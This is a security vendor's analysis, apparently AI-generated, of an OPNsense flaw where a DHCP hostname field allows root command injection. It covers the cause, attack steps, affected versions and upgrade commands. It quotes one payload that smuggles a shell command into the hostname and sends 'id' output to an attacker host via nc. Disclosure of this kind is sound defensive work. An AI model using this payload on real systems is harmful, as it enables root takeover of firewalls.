Automated Threat Modeling

OPNsense CVE-2026-45158: Brief Summary of a Critical Root RCE via DHCP Hostname Injection

CVE-2026-45158 is a CVSS 9.1 argument injection flaw in OPNsense that lets authenticated users run code as root through an unsanitized DHCP hostname setting.

CVE Analysis

7 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-05-13

OPNsense CVE-2026-45158: Brief Summary of a Critical Root RCE via DHCP Hostname Injection
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

A single unsanitized hostname field in OPNsense's DHCP configuration lets any authenticated user with interface privileges run arbitrary commands as root on the underlying FreeBSD operating system. It carries a CVSS score of 9.1, and exploit code is already public. For any environment that relies on OPNsense as its perimeter firewall, CVE-2026-45158 is a direct path from a web form to root.

OPNsense is a FreeBSD based open source firewall and routing platform, forked from pfSense in 2015 and sponsored by Deciso BV in the Netherlands. It is deployed across Europe in thousands of small and medium business networks, datacentres, and government environments, as a sovereign and cost conscious alternative to commercial appliances from Cisco, Fortinet, Sophos, and Palo Alto.

Technical Information

Root Cause: Unsanitized Input in Shell Context

The vulnerability lives in src/etc/inc/interfaces.inc, in the interface_dhcp_configure function. The OPNsense Web UI lets users who hold page-interfaces privileges enable and configure network interfaces. When an interface runs DHCP on IPv4, the application exposes a hostname field.

Whatever you type into that hostname field is written straight into /var/etc/dhclient.<device>.conf with no sanitization at all. That is where the flaw turns critical. The configuration file is not a pure data file. It supports parameters such as media that are later passed to shell scripts as environment variables.

Attack Flow

The exploitation path runs in order:

  1. An attacker with page-interfaces privileges in the OPNsense Web UI opens the interface configuration page and enables DHCP on an IPv4 interface.

  2. In the hostname field, the attacker enters a crafted payload that breaks out of the standard configuration statement and injects a media parameter carrying shell commands. The example payload from the security advisory is:

test"; media "aa; id | nc <attacker-ip> <attacker-port>"; } /*
  1. This payload is written verbatim into /var/etc/dhclient.<device>.conf, so the configuration file now includes the injected media parameter.

  2. Before the operating system sends DHCPDISCOVER requests, the dhclient utility invokes the /usr/local/opnsense/scripts/interfaces/dhclient-script shell script.

  3. The shell script feeds the media value to the ifconfig command inside an eval statement, again without any sanitization.

  4. The injected command runs in the shell context with root privileges.

Trigger Conditions

There are two separate trigger paths, which is what makes this one worth watching:

Immediate trigger: The payload runs as soon as the user clicks "Apply" in the UI, which reconfigures the DHCP client.

Delayed trigger: If the configuration is saved but not applied right away, the payload runs during the next DHCP lease renewal or system reboot. An attacker can plant the payload and disconnect, knowing it will fire on the next natural renewal cycle.

Vulnerability Classification

The flaw is classified under CWE-88 (Improper Neutralization of Argument Delimiters in a Command, commonly known as argument injection). User controlled data flows from a web form into a configuration file and then into a shell eval statement, with no boundary enforcement or input validation at any stage.

Affected Systems and Versions

All OPNsense versions up to and including 26.1.7 are affected. This covers both the Community Edition and the Business Edition.

Product EditionVulnerable VersionsPrimary Fix VersionRequired Hotfix
OPNsense Community Edition26.1.7 and older26.1.826.1.8_5
OPNsense Business Edition26.1.7 and older26.1.826.1.8_5

Get to at least version 26.1.8_5, which includes the follow up sanitization of DHCPv4 settings. Check the current version from the command line:

opnsense-version

To apply the update:

opnsense-update -vkr 26.1.8

After updating, force a DHCP lease renewal or reboot the appliance to flush any latent payloads waiting on a renewal trigger. Audit user accounts too, and restrict page-interfaces privileges to essential personnel only.

Vendor Security History

The OPNsense team moved fast in May 2026. Version 26.1.8 shipped on May 12, 2026, patching two critical remote code execution flaws within seven days. After the initial release, the vendor issued hotfix 26.1.8_5 to add further safeguards and sanitize DHCPv4 settings. Shipping a fix and then hardening it with a follow up hotfix is defense in depth in practice.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization